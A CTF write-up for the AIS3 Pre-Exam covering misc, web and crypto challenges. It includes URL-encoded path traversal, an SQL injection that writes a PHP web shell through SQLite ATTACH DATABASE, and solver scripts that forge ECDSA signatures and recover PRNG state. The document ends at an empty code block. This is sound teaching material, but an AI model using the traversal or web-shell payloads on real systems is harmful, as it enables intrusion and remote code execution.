# AIS3 Pre-Exam Writeup
> I told you this Pre-Exam was brutally hard... All the chads except me passed 😺
## Table of Contents
[TOC]
## Preface
My best rank this time was 9th place, solving 12 challenges. For me, breaking into the top 10 is already a win~
Though it was quite disappointing I did not solve a single pwn, I learnt a lot from the various Crypto problems I solved :cat:
## Basic Information
- Flag format: `AIS3{...}`
- I didn't put full payloads or flags for some questions. Nevertheless, the process is clear.
## `misc`
### Welcome
#### Description
#### Solution
Looking at the challenge, there's a very obvious Code Block containing the flag.
~~I'm kind of rebellious~~ so when I saw the instruction telling me to copy and paste, I immediately suspected it was a trap. Turns out I was right... copying it directly gave me full-width characters, which would obviously be incorrect.
In MyFirstCTF, I even thought the code block was an image...
Anyway, I simply typed it out manually from start to finish. The flag is right in front of me at the start - typing is no big deal.
Flag: `AIS3{Welcome_And_Enjoy_The_CTF_!}`
After contest, I started curiously checking how it made me copy different things than the image.
As it turned out, there was a `<style>` tag that really did matter:
So here's that `<style>` tags' content beautified... in case anyone's curious:
```css=
@import "https://fonts.googleapis.com/css2?family=Kode+Mono:wght@400..700&display=swap";.flag{background-color:#000;font-family:"Kode Mono",monospace;display:flex;justify-content:center;align-items:center;padding:8px 10px;border-radius:3px;font-size:13px;white-space:nowrap}.flag-container{display:flex;justify-content:center;align-items:center;gap:6px;font-family:""}.flag > span{width:7.8px;position:relative;color:#0000}.flag > span:nth-child(1)::before{content:"A";position:absolute;color:#f5f5f5}.flag > span:nth-child(2)::before{content:"I";position:absolute;color:#f5f5f5}.flag > span:nth-child(3)::before{content:"S";position:absolute;color:#f5f5f5}.flag > span:nth-child(4)::before{content:"3";position:absolute;color:#f5f5f5}.flag > span:nth-child(5)::before{content:"{";position:absolute;color:#f5f5f5}.flag > span:nth-child(6)::before{content:"W";position:absolute;color:#f5f5f5}.flag > span:nth-child(7)::before{content:"e";position:absolute;color:#f5f5f5}.flag > span:nth-child(8)::before{content:"l";position:absolute;color:#f5f5f5}.flag > span:nth-child(9)::before{content:"c";position:absolute;color:#f5f5f5}.flag > span:nth-child(10)::before{content:"o";position:absolute;color:#f5f5f5}.flag > span:nth-child(11)::before{content:"m";position:absolute;color:#f5f5f5}.flag > span:nth-child(12)::before{content:"e";position:absolute;color:#f5f5f5}.flag > span:nth-child(13)::before{content:"_";position:absolute;color:#f5f5f5}.flag > span:nth-child(14)::before{content:"A";position:absolute;color:#f5f5f5}.flag > span:nth-child(15)::before{content:"n";position:absolute;color:#f5f5f5}.flag > span:nth-child(16)::before{content:"d";position:absolute;color:#f5f5f5}.flag > span:nth-child(17)::before{content:"_";position:absolute;color:#f5f5f5}.flag > span:nth-child(18)::before{content:"E";position:absolute;color:#f5f5f5}.flag > span:nth-child(19)::before{content:"n";position:absolute;color:#f5f5f5}.flag > span:nth-child(20)::before{content:"j";position:absolute;color:#f5f5f5}.flag > span:nth-child(21)::before{content:"o";position:absolute;color:#f5f5f5}.flag > span:nth-child(22)::before{content:"y";position:absolute;color:#f5f5f5}.flag > span:nth-child(23)::before{content:"_";position:absolute;color:#f5f5f5}.flag > span:nth-child(24)::before{content:"T";position:absolute;color:#f5f5f5}.flag > span:nth-child(25)::before{content:"h";position:absolute;color:#f5f5f5}.flag > span:nth-child(26)::before{content:"e";position:absolute;color:#f5f5f5}.flag > span:nth-child(27)::before{content:"_";position:absolute;color:#f5f5f5}.flag > span:nth-child(28)::before{content:"C";position:absolute;color:#f5f5f5}.flag > span:nth-child(29)::before{content:"T";position:absolute;color:#f5f5f5}.flag > span:nth-child(30)::before{content:"F";position:absolute;color:#f5f5f5}.flag > span:nth-child(31)::before{content:"_";position:absolute;color:#f5f5f5}.flag > span:nth-child(32)::before{content:"!";position:absolute;color:#f5f5f5}.flag > span:nth-child(33)::before{content:"}";position:absolute;color:#f5f5f5}
@import "https://fonts.googleapis.com/css2?family=Kode+Mono:wght@400..700&display=swap";
.flag {
background-color: #000;
font-family: "Kode Mono", monospace;
display: flex;
justify-content: center;
align-items: center;
padding: 8px 10px;
border-radius: 3px;
font-size: 13px;
white-space: nowrap;
}
.flag-container {
display: flex;
justify-content: center;
align-items: center;
gap: 6px;
font-family: "";
}
.flag > span {
width: 7.8px;
position: relative;
color: #0000;
}
.flag > span:nth-child(1)::before {
content: "A";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(2)::before {
content: "I";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(3)::before {
content: "S";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(4)::before {
content: "3";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(5)::before {
content: "{";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(6)::before {
content: "W";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(7)::before {
content: "e";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(8)::before {
content: "l";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(9)::before {
content: "c";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(10)::before {
content: "o";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(11)::before {
content: "m";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(12)::before {
content: "e";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(13)::before {
content: "_";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(14)::before {
content: "A";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(15)::before {
content: "n";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(16)::before {
content: "d";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(17)::before {
content: "_";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(18)::before {
content: "E";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(19)::before {
content: "n";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(20)::before {
content: "j";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(21)::before {
content: "o";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(22)::before {
content: "y";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(23)::before {
content: "_";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(24)::before {
content: "T";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(25)::before {
content: "h";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(26)::before {
content: "e";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(27)::before {
content: "_";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(28)::before {
content: "C";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(29)::before {
content: "T";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(30)::before {
content: "F";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(31)::before {
content: "_";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(32)::before {
content: "!";
position: absolute;
color: #f5f5f5;
}
.flag > span:nth-child(33)::before {
content: "}";
position: absolute;
color: #f5f5f5;
}
```
And yeah, in the browser, you copy what's actually in the HTML (`content`) -- not what's in `::before`.
You can check out here for a handmade cool replica of the Welcome CTF where what you actually copy after you select the text blindly isn't what you see (Yeah, not identical, but trying my best):
https://codepen.io/From-Key-To-End/full/raVWjQe
### AIS3 Tiny Server - Web / Misc
#### Description
#### Solution
~~Fate works in mysterious ways~~ - I had previously read the Github repo mentioned (I forgot when), so I had a rough idea of the internal logic.
After quickly setting it up locally, I found that although it blocked file access beyond certain limits, using URL encoding bypassed that filter.
The core of the payload is using `%2F` in place of slashes. Time to test it live.
At first I got this screen:
Going one level up with:
http://chals1.ais3.org:20690/..%2F
Another level:
http://chals1.ais3.org:20690/..%2F..%2F
Eventually I reached `/`:
http://chals1.ais3.org:20690/..%2F..%2F..%2F
Then I saw the file `readable_flag_EQ8dfPuzKqC1qP95i7BJHlR46mkqbReD`.
Just go directly (make sure to **paste the URL manually** - clicking it will be blocked):
http://chals1.ais3.org:20690/..%2F..%2F..%2Freadable_flag_EQ8dfPuzKqC1qP95i7BJHlR46mkqbReD
Flag: `AIS3{tInY_We8_53RvER_wITH_fIle_BR0Ws1ng_4S_@_FeATUR3}`
---
### Ramen CTF
#### Description
#### Solution
You're given this image...
~~At first I thought the flag was hidden inside the image. I wasted a while scanning it before realizing it was a trap :hole:~~
Looking more closely, I realized the key was actually the receipt next to the bowl.
Observations:
- The receipt mentions "平和" (Peace)
- It has a complete QRCode
- The tax ID starts with 3478592
Scanning the QRCode gives:
`MF1687991111404137095000001f4000001f40000000034785923VG9sG89nFznfPnKYFRlsoA==:**********:2:2:1:蝦拉`
Looking it up online, I learned that the last field is the item name - but what even is 蝦拉?
... Doesn’t matter, time to Google!
After some digging, I found this:
The tax ID and store name matched perfectly!
Address:
> No. 1, Ln. 108, Sec. 5, Jiaoxi Rd., Jiaoxi Township, Yilan County
Searching the address gave me this:
Yeah, nothing useful. My intuition was the address was far from the truth or Google Map tricked me... though it turns out the place is also known as Leshan Hot Spring Hotel :smile: That was a trick.
Then I finally spotted the "蝦拉麵" listed in Google Maps' menu:
Hence the flag: `AIS3{樂山溫泉拉麵:蝦拉麵}`
... Please calculate the psychological trauma and PTSD I now associate with ramen. Took me **two whole days** to solve this.
---
## Web
### Tomorin db 🐧
#### Description
#### Solution
Downloaded the original source code from CTFd, here's the directory structure:
Looking at `main.go`:
```go
package main
import "net/http"
func main() {
http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound)
})
http.ListenAndServe(":30000", nil)
}
```
Key part:
```go
http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound)
})
```
This means that directly visiting `/flag` triggers an HTTP 302 redirect to a YouTube video, rather than returning the actual flag.
At first glance it seems hopeless, but note that `/` is handled via a static file server:
`http.FileServer(http.Dir("/app/Tomorin"))`.
This means that if we can bypass the `/flag` route, we might be able to access the actual `/flag` file via the file system.
The key insight here is that Go's `http.ServeMux` (the default router) prioritizes routes registered via `HandleFunc`. If a request matches such a route exactly, it will trigger that handler immediately. Only unmatched paths fall through to the default `/` route — which is our `FileServer`.
However, Go's router does **not** automatically decode URL-encoded characters (like `%2e`).
So we can craft a path that doesn’t match `/flag` literally, but still gets interpreted as `/flag` by the `FileServer`.
The actual payload: `http://chals1.ais3.org:30000/..%2Fflag`
`http.ServeMux` won’t decode this into `/../flag`, so it doesn’t match the `/flag` handler.
The request falls through to the `FileServer`.
Internally, the `FileServer` does decode the path, resolving it to `/../flag`, which accesses the real file `/app/flag`.
Flag successfully retrieved!
Flag: `AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}`
### Login Screen 1
#### Description
#### Solution
~~Who would have anticipated that a Web problem wasn't a Web problem?~~
I am considerably lame, so let me skip the process of exploration. Spoiler alert, nothing Web involved.
The point was the `docker-compose.yml`:
```yaml=
services:
cms:
build: ./cms
ports:
- "36368:80"
volumes:
- ./cms/html/2fa.php:/var/www/html/2fa.php:ro
- ./cms/html/dashboard.php:/var/www/html/dashboard.php:ro
- ./cms/html/index.php:/var/www/html/index.php:ro
- ./cms/html/init.php:/var/www/html/init.php:ro
- ./cms/html/logout.php:/var/www/html/logout.php:ro
- ./cms/html/users.db:/var/www/html/users.db:ro
- ./cms/html/styles.css:/var/www/html/styles.css:ro
environment:
- FLAG1=AIS3{1.This_is_the_first_test_flag}
- FLAG2=AIS3{2.This_is_the_second_test_flag}
```
Nothing of interest? Look closer to find an exposed `users.db`! That's fishy. Now we're on it, why not download https://login-screen.ctftime.uk:36368/users.db?
Open that file and inspect its contents:
And hey, we have admin's 2FA code in our hands!
Note that the password in the SQL data wasn't real (as we see `guest`'s password was not `guest`, contrary to what the webpage stated), I would have guessed that was the stored internal hash. Only the 2FA code was correct.
As we knew `guest`'s password was `guest`, with a bit of guessing or trial and error we intuitively deduce `admin`'s password was `admin`.
We enter the code, and -- Voila!
### Login Screen 2
#### Description
#### Solution
:::warning
:warning: Absolutely unintended solution, but yes, at least it worked.
:::
I used this payload on the login page to gain RCE:
```
Account: guest'; ATTACH DATABASE '/var/www/html/shell.php' AS shell; CREATE TABLE shell.pwntime (data TEXT); INSERT INTO shell.pwntime (data) VALUES ('<?php system($_GET["cmd"]); ?>'); --
Password: guest
```
And a `/shell.php?cmd=cat $FLAG2` did the job -- but yeah, I didn't preemptively store the flag and obviously they banned RCE after I obtained my solution or sometime after that. Hence, I don't have a flag for this question. I solved it anyway, though the solution was rather unintended.
I would be very curious to know the intended solution though.
## Crypto
> Time for some **MATH** :smiling_imp:
### SlowECDSA
#### Description
> "I found this Slow version of ECDSA in my drawer. Can you spot the bug?"
We're provided a network service running a stripped-down ECDSA signing system using the NIST-P192 curve. You can request example signatures or attempt to verify custom ones. The goal is to forge a valid signature for the message `give_me_flag`.
#### Solution
##### Code Analysis
The server's source code signs messages using ECDSA, but instead of using a cryptographically secure random nonce `k`, it generates `k` using a Linear Congruential Generator (LCG):
```python
lcg = LCG(seed=int.from_bytes(os.urandom(24), 'big'), a=1103515245, c=12345, m=order)
def sign(msg: bytes):
h = SHA1(msg) % order
k = lcg.next() # predictable!
# ...
s = k⁻¹ (h + r·d) mod n
```
Because the LCG uses fixed parameters and generates sequential nonces, it's vulnerable to lattice or algebraic attacks. In our case, we’re given access to two consecutive signatures, which is more than enough to fully recover the private key using simple algebra.
##### Strategy
We leverage the structure of two ECDSA signatures over the **same message** (`example_msg`) with two consecutive nonces $k_1$ and $k_2$.
Let:
* $(r_1, s_1)$ and $(r_2, s_2)$ be two signatures on the same message.
* $k_2 = a*k_1 + c$ from the LCG recurrence.
From ECDSA:
* $s_1=k_1^{-1}(h+r_1 \cdot d)$
* $s_2=k_2^{-1}(h+r_2 \cdot d)$
We rearrange these equations and eliminate $k₁ / k₂$ to solve for $d$ (the private key), giving us:
$(A - C) \cdot d \equiv (D - B) \pmod{n}$
Where:
$$
\begin{aligned}
A &= a \cdot r_1 \cdot s_1^{-1} \\
B &= a \cdot h \cdot s_1^{-1} + c \\
C &= r_2 \cdot s_2^{-1} \\
D &= h \cdot s_2^{-1}
\end{aligned}
$$
This is a straightforward modular linear equation. Once $d$ is recovered, we can predict the next nonce $k_3$ using LCG, and forge a valid signature for the target message.
##### Payload
Below is my payload.
```python=
#!/usr/bin/env python3
# AIS3 2025 – “SlowECDSA” (NIST-P192, biased k via LCG)
# Author: FromKeyToEnd
from pwn import *
from hashlib import sha1
from ecdsa import NIST192p
context.log_level = "info"
HOST, PORT = "chals1.ais3.org", 19000
curve = NIST192p
G = curve.generator
n = G.order()
a_lcg = 1103515245
c_lcg = 12345
h_ex = int.from_bytes(sha1(b"example_msg").digest(), "big") % n
h_flag = int.from_bytes(sha1(b"give_me_flag").digest(), "big") % n
inv = lambda x: pow(x, -1, n)
def grab_example(io):
io.sendlineafter(b"Enter option:", b"get_example")
io.recvuntil(b"r:")
r = int(io.readline().strip(), 16)
io.recvuntil(b"s:")
s = int(io.readline().strip(), 16)
log.info(f"received (r, s) = ({hex(r)}, {hex(s)})")
return r, s
def recover_private_key(sig1, sig2):
r1, s1 = sig1
r2, s2 = sig2
s1_inv, s2_inv = inv(s1), inv(s2)
A = (a_lcg * r1 * s1_inv) % n
B = (a_lcg * h_ex * s1_inv + c_lcg) % n
C = (r2 * s2_inv) % n
D = (h_ex * s2_inv) % n
denom = (A - C) % n
num = (D - B) % n
d = (num * inv(denom)) % n
log.success(f"recovered private key d = {hex(d)}")
return d
def forge_signature(d, last_sig):
r2, s2 = last_sig
k2 = ((h_ex + r2 * d) * inv(s2)) % n
k3 = (a_lcg * k2 + c_lcg) % n
R = k3 * G
r3 = R.x() % n
s3 = ((h_flag + r3 * d) * inv(k3)) % n
log.info(f"forged (r, s) = ({hex(r3)}, {hex(s3)})")
return r3, s3
def main():
io = remote(HOST, PORT)
sig1 = grab_example(io)
sig2 = grab_example(io)
d = recover_private_key(sig1, sig2)
r_forged, s_forged = forge_signature(d, sig2)
io.sendlineafter(b"Enter option:", b"verify")
io.sendlineafter(b"Enter message:", b"give_me_flag")
io.sendlineafter(b"Enter r (hex):", hex(r_forged)[2:].encode())
io.sendlineafter(b"Enter s (hex):", hex(s_forged)[2:].encode())
io.interactive()
if __name__ == "__main__":
main()
```
The output is as follows:
```
❯ /home/fromkeytoend/Downloads/MFCTF/pwnenv/bin/python /home/fromkeytoend/Downloads/MFCTF/SlowECDSA.py
[q] Opening connection to chals1.ais3.org on port 19000: Trying 10.25.7.1[+] Opening connection to chals1.ais3.org on port 19000: Done
[*] received (r, s) = (0xbb00b04d3c1077b10c41438008c65b1bef6b25a9db38939a, 0xb5d07881931216fac1fb9857583a9115e0c9c5543506038c)
[*] received (r, s) = (0x4c8a797653a746f417d3d982cde8d4abc72184eff797b47a, 0x16a39d639a93c9285addc8075b31fdd327fa542ccfe55c04)
[+] recovered private key d = 0x4d9ccbfd381f95df23c1eba48520c74a4654b5dd3599ea0c
[*] forged (r, s) = (0x16d5770e058d583d2b14db8d5242f65096c3baabee4aa374, 0xbcbeca3a05b08d756975e41f9dfe15fda104ddbcc3395456)
[*] Switching to interactive mode
✅ Correct signature! Here's your flag:
AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily...}
Enter option: $
```
Flag: `AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily...}`
### Stream
#### Description
#### Solution
##### Code Analysis
Listing (Abridged):
```python=
from random import getrandbits
import os
from hashlib import sha512
from flag import flag
def hexor(a: bytes, b: int):
return hex(int.from_bytes(a)^b**2)
for i in range(80):
print(hexor(sha512(os.urandom(True)).digest(), getrandbits(256)))
print(hexor(flag, getrandbits(256)))
```
The helper `hexor` does $\text{digest} \oplus (\text{rand}^2)$ .
Squaring looks scary but is fully reversible if you can obtain `rand`.
80 calls to getrandbits(256) leak 80×256 = 20 480 bits of Python’s MT19937 PRNG.
MT needs just 624 × 32 = 19968 bits for full state – so the whole generator spills its guts.
##### Strategy
Because only 256 different one-byte messages are ever hashed, I brute-forced them:
```python!
DIGESTS = {int.from_bytes(sha512(bytes([x])).digest(), 'big'): x for x in range(256)}
```
Now for each printed `hex_c`, $y = c ^ d$. I need `y` to be a perfect square.
Next, we have to rebuild MT19937. every 256-bit random from getrandbits is little-endian concatenation of
eight 32-bit outputs of MT. I sliced them:
```python!
words = [(s >> (32*i)) & 0xffffffff for s in s_values for i in range(8)]
```
Then I passed the first 624 into any public untwister (I used
`randcrack.py`, but really, any library can do the job well). It spat the full internal state.
Now, time to unmask the flag.
```python=
s_flag = prng.getrandbits(256)
z = s_flag ** 2
c_flag = int(last_hex, 16)
flag_i = c_flag ^ z
flag = flag_i.to_bytes((flag_i.bit_length()+7) // 8, 'big').decode()
```
And out pops the flag.
Flag: `AIS3{no_more_junks...plz}
`
##### Takeaways
All in all, a neat demonstration that any leakage of raw MT19937 output is fatal, and that “just one byte of entropy” is never enough.
### Hill
#### Description
#### Solution
##### Code Analysis
Here's the original source code:
```python=
import numpy as np
p = 251
n = 8
def gen_matrix(n, p):
while True:
M = np.random.randint(0, p, size=(n, n))
if np.linalg.matrix_rank(M % p) == n:
return M % p
A = gen_matrix(n, p)
B = gen_matrix(n, p)
def str_to_blocks(s):
data = list(s.encode())
length = ((len(data) - 1) // n) + 1
data += [0] * (n * length - len(data)) # padding
blocks = np.array(data, dtype=int).reshape(length, n)
return blocks
def encrypt_blocks(blocks):
C = []
for i in range(len(blocks)):
if i == 0:
c = (A @ blocks[i]) % p
else:
c = (A @ blocks[i] + B @ blocks[i-1]) % p
C.append(c)
return C
flag = "AIS3{Fake_FLAG}"
blocks = str_to_blocks(flag)
ciphertext = encrypt_blocks(blocks)
print("Encrypted flag:")
for c in ciphertext:
print(c)
t = input("input: ")
blocks = str_to_blocks(t)
ciphertext = encrypt_blocks(blocks)
for c in ciphertext:
print(c)
```
The challenge implements a variation of the Hill Cipher, using two 8×8 matrices $A$ and $B$ over the finite field mod 251. The ciphertext is generated block-by-block based on the current and previous plaintext block, as follows:
* For block 0: $c[0] = A \cdot p[0]$
* For block i > 0: $c[i] = A \cdot p[i] + B \cdot p[i-1]$
The server first prints the encrypted flag, then accepts a string input, applies the same encryption method, and prints the corresponding ciphertext.
#### Solution
##### Code Analysis
We are given the original code used by the challenge. The encryption uses random matrices $A$ and $B$, and plaintext is padded into 8-byte blocks. The structure of the ciphertext follows a linear recurrence pattern:
* The first block is encrypted using only matrix $A$
* All subsequent blocks are encrypted using both $A$ and $B$, where $B$ is applied to the previous block.
Our objective is to recover the original flag, given only the ciphertext of the flag and the ability to encrypt chosen plaintexts.
##### Strategy
We treat this as a known plaintext attack where we recover the encryption matrices $A$ and $B$ by sending known plaintext blocks and observing their ciphertexts. Once we recover $A$ and $B$, we can invert them and decrypt the flag ciphertext.
The ciphertext of the flag is known. We then send 40 blocks of chosen plaintext, constructed such that we can derive the linear system needed to recover the transformation matrices. The plaintext blocks are generated deterministically with:
```python!
rand_iter = (33 + (i * 97) % 90 for i in itertools.count())
```
This ensures we know the exact bytes sent.
Each ciphertext block generated follows:
* For $i = 0$: $c[0] = A \cdot p[0]$
* For $i \ge 1$: $c[i] = A \cdot p[i] + B \cdot p[i-1]$
We construct 128 equations to solve for the 128 unknowns (64 for A and 64 for B), leveraging the known structure of the ciphertexts and our controlled inputs.
Then, we flatten the matrix equation into a linear system:
* Each output vector value contributes one equation
* The unknowns are flattened from the matrices $A$ and $B$ into a vector of length 128
* We use modular Gaussian elimination to solve the system modulo 251
This yields values for $A$ and $B$.
Finally, once we have $A$ and $B$, we:
1. Invert matrix `A` modulo 251
2. Use recurrence:
* $p[0] = A^{-1} \cdot c[0]$
* $p[i] = A^{-1} \cdot (c[i] - B \cdot p[i-1])$
3. Collect and decode the plaintext bytes
##### Payload
Below is my payload.
```python=
#!/usr/bin/env python3
# AIS3 2025 – “Hill” (Hill Cipher)
# Author: FromKeyToEnd
from pwn import *
import re
import itertools
context.log_level = "info"
HOST, PORT = "chals1.ais3.org", 18000
P = 251
N = 8
def modinv(a, p=P):
return pow(a, p - 2, p)
def mod_gauss(mat, vec, mod=P):
n, m = len(mat), len(mat[0])
A = [row[:] for row in mat]
b = vec[:]
r = 0
for c in range(m):
piv = next((i for i in range(r, n) if A[i][c] % mod), None)
if piv is None:
continue
A[r], A[piv] = A[piv], A[r]
b[r], b[piv] = b[piv], b[r]
inv = modinv(A[r][c])
for j in range(c, m):
A[r][j] = (A[r][j] * inv) % mod
b[r] = (b[r] * inv) % mod
for i in range(n):
if i != r and A[i][c]:
factor = A[i][c]
for j in range(c, m):
A[i][j] = (A[i][j] - factor * A[r][j]) % mod
b[i] = (b[i] - factor * b[r]) % mod
r += 1
if r == n:
break
return b[:m]
def parse_vectors(text):
return [list(map(int, re.findall(r"-?\d+", line))) for line in text.strip().splitlines()]
def row_from(block, r, off):
row = [0] * 128
for c in range(N):
row[r * N + c + off] = block[c] % P
return row
def matmul(M, v):
return [sum((a * b) % P for a, b in zip(row, v)) % P for row in M]
def mat_inv(M):
n = len(M)
aug = [row[:] + [1 if i == j else 0 for j in range(n)] for i, row in enumerate(M)]
for i in range(n):
inv_p = modinv(aug[i][i])
for j in range(i, 2 * n):
aug[i][j] = (aug[i][j] * inv_p) % P
for k in range(n):
if k != i and aug[k][i]:
f = aug[k][i]
for j in range(i, 2 * n):
aug[k][j] = (aug[k][j] - f * aug[i][j]) % P
return [row[n:] for row in aug]
def generate_blocks():
blocks = []
rand_iter = (33 + (i * 97) % 90 for i in itertools.count())
for _ in range(40):
blk = [next(rand_iter) for _ in range(N)]
blocks.append(blk)
return blocks
def main():
blocks = generate_blocks()
payload = "".join(chr(c) for blk in blocks for c in blk)
io = remote(HOST, PORT)
banner = io.recvuntil(b"input:").decode()
flag_ct = parse_vectors(banner.split("Encrypted flag:")[1].split("input:")[0])
io.sendline(payload.encode())
reply = io.recv().decode()
query_ct = parse_vectors(reply)
rows, vals = [], []
for i, vec in enumerate(query_ct):
for r in range(N):
if i == 0:
rows.append(row_from(blocks[0], r, 0))
else:
a = row_from(blocks[i], r, 0)
b = row_from(blocks[i - 1], r, 64)
rows.append([(x + y) % P for x, y in zip(a, b)])
vals.append(vec[r] % P)
sol = mod_gauss(rows, vals)
A = [sol[r * N:(r + 1) * N] for r in range(N)]
B = [sol[64 + r * N:64 + (r + 1) * N] for r in range(N)]
A_inv = mat_inv(A)
plain_blocks = [matmul(A_inv, flag_ct[0])]
for i in range(1, len(flag_ct)):
rhs = [(c - d) % P for c, d in zip(flag_ct[i], matmul(B, plain_blocks[i - 1]))]
plain_blocks.append(matmul(A_inv, rhs))
flag = bytes(x for blk in plain_blocks for x in blk if x).decode(errors="ignore")
log.success(f"Flag => {flag}")
io.close()
if __name__ == "__main__":
main()
```
And we obtain the flag.
Flag: `AIS3{b451c_h1ll_c1ph3r_15_2_3z_f0r_u5}
`
### Random RSA
#### Description
#### Solution
##### Code Analysis
Here's the source code given:
```python=
# chall.py
from Crypto.Util.number import getPrime, bytes_to_long
from sympy import nextprime
from gmpy2 import is_prime
FLAG = b"AIS3{Fake_FLAG}"
a = getPrime(512)
b = getPrime(512)
m = getPrime(512)
a %= m
b %= m
seed = getPrime(300)
rng = lambda x: (a*x + b) % m
def genPrime(x):
x = rng(x)
k=0
while not(is_prime(x)):
x = rng(x)
return x
p = genPrime(seed)
q = genPrime(p)
n = p * q
e = 65537
m_int = bytes_to_long(FLAG)
c = pow(m_int, e, n)
# hint
seed = getPrime(300)
h0 = rng(seed)
h1 = rng(h0)
h2 = rng(h1)
with open("output.txt", "w") as f:
f.write(f"h0 = {h0}\n")
f.write(f"h1 = {h1}\n")
f.write(f"h2 = {h2}\n")
f.write(f"M = {m}\n")
f.write(f"n = {n}\n")
f.write(f"e = {e}\n")
f.write(f"c = {c}\n")
```
This challenge presents a seemingly normal RSA setup with an additional twist: the primes $p$ and $q$ are not chosen randomly and independently. Instead, they are generated using a Linear Congruential Generator (LCG) seeded from a small 300-bit prime. The generator uses unknown values $a$, $b$, and $m$, and generates:
* `p = next_prime(rng(seed))`
* `q = next_prime(rng(p))`
To aid the attacker, the challenge gives you three consecutive LCG outputs $(h0, h1, h2)$ and the modulus $M$. It also leaks the full RSA public key $(n, e)$ and the ciphertext `c = pow(m, e, n)`.
Our task is to recover the original message, i.e., the decrypted flag.
Let's first examine the code in `chall.py`.
```python
a = getPrime(512)
b = getPrime(512)
m = getPrime(512)
a %= m
b %= m
```
Here, `a`, `b`, and `m` form the parameters of a standard LCG:
```python
rng = lambda x: (a * x + b) % m
```
Then the flag generation proceeds as follows:
```python
p = genPrime(seed) # get next prime after rng(seed)
q = genPrime(p) # get next prime after rng(p)
```
Finally:
```python
n = p * q
e = 65537
c = pow(m_int, e, n)
```
We’re given:
* `h0 = rng(seed)`
* `h1 = rng(h0)`
* `h2 = rng(h1)`
* $M = m$
* $n$, $e$, $c$ (RSA public key and ciphertext)
So the generator state evolves as:
```
h0 = rng(seed)
h1 = rng(h0) = a * h0 + b mod M
h2 = rng(h1) = a * h1 + b mod M
```
From that, we can recover $a$ and $b$ via algebra.
---
##### Step #1: Recover LCG parameters
We know the recurrence:
```
h1 = a * h0 + b mod M
h2 = a * h1 + b mod M
```
Subtracting:
```
delta1 = h1 - h0
delta2 = h2 - h1
```
Then:
```
a = delta2 * inv(delta1) mod M
b = h1 - a * h0 mod M
```
This lets us fully recover the LCG:
```python
rng(x) = (a * x + b) % M
```
Now that we have the full LCG, we know how $p$ and $q$ are generated:
```python
p = next_prime(rng(seed))
q = next_prime(rng(p))
```
We don’t know `seed`, but we do know $n = p \cdot q$. So instead of reversing the seed, we try to find $p$ and $q$ directly, using what we know about the LCG’s structure.
Let’s say $p \equiv x \pmod{M}$ and $q = (A \cdot p + C) \bmod M$, where:
* $A = a^s \bmod M$ ($s$ = number of LCG steps between $p$ and $q$)
* $C = b \cdot (A - 1) \cdot \operatorname{inv}(a - 1) \bmod M$
This gives a modular relation:
$$
q \equiv A \cdot p + C \pmod{M}
$$
$$
n = p \cdot q = p \cdot (A \cdot p + C) = A \cdot p^2 + C \cdot p
$$
So we know that:
```
n mod M = A * p^2 + C * p mod M
```
This is a quadratic equation in p modulo M:
```
A * p^2 + C * p - t ≡ 0 mod M
```
Where:
```
t = n mod M
```
We solve this using standard quadratic formula logic in modular arithmetic.
We apply the formula:
$$
\Delta = C^2 + 4 \cdot A \cdot t
$$
$$
p \equiv \left( -C \pm \sqrt{\Delta} \right) \cdot \operatorname{inv}(2A) \pmod{M}
$$
If we find a valid square root modulo $M$, we get potential candidates for $p$.
For each root, we check:
* Is $p$ prime?
* Is $p < M$?
* Does $p$ divide $n$?
If so, we regenerate $q$ using:
```python
q = next_prime(rng(p))
```
And verify:
```python
p * q == n
```
If all conditions pass, we have successfully recovered the RSA private key.
With `p` and `q` recovered, we can now compute:
$$
\varphi(n) = (p - 1)(q - 1)
$$
$$
d = \operatorname{inv}(e, \varphi(n))
$$
$$
m = c^d \bmod n
$$
Now, we convert `m` to bytes, and print the decoded flag.
##### Payload
The final script performs the entire process above and prints:
```text
[+] Recovering LCG parameters...
a = ...
b = ...
[+] Solving for primes...
[+] Found factors
p = ... (bits=512)
q = ... (bits=512)
steps from p to q = ...
[+] Decryption complete!
AIS3{l1n34r_c0ngrU3nti4l_g3n3r4t0r_f41l}
```
My payload is as follows.
```python=
#!/usr/bin/env python3
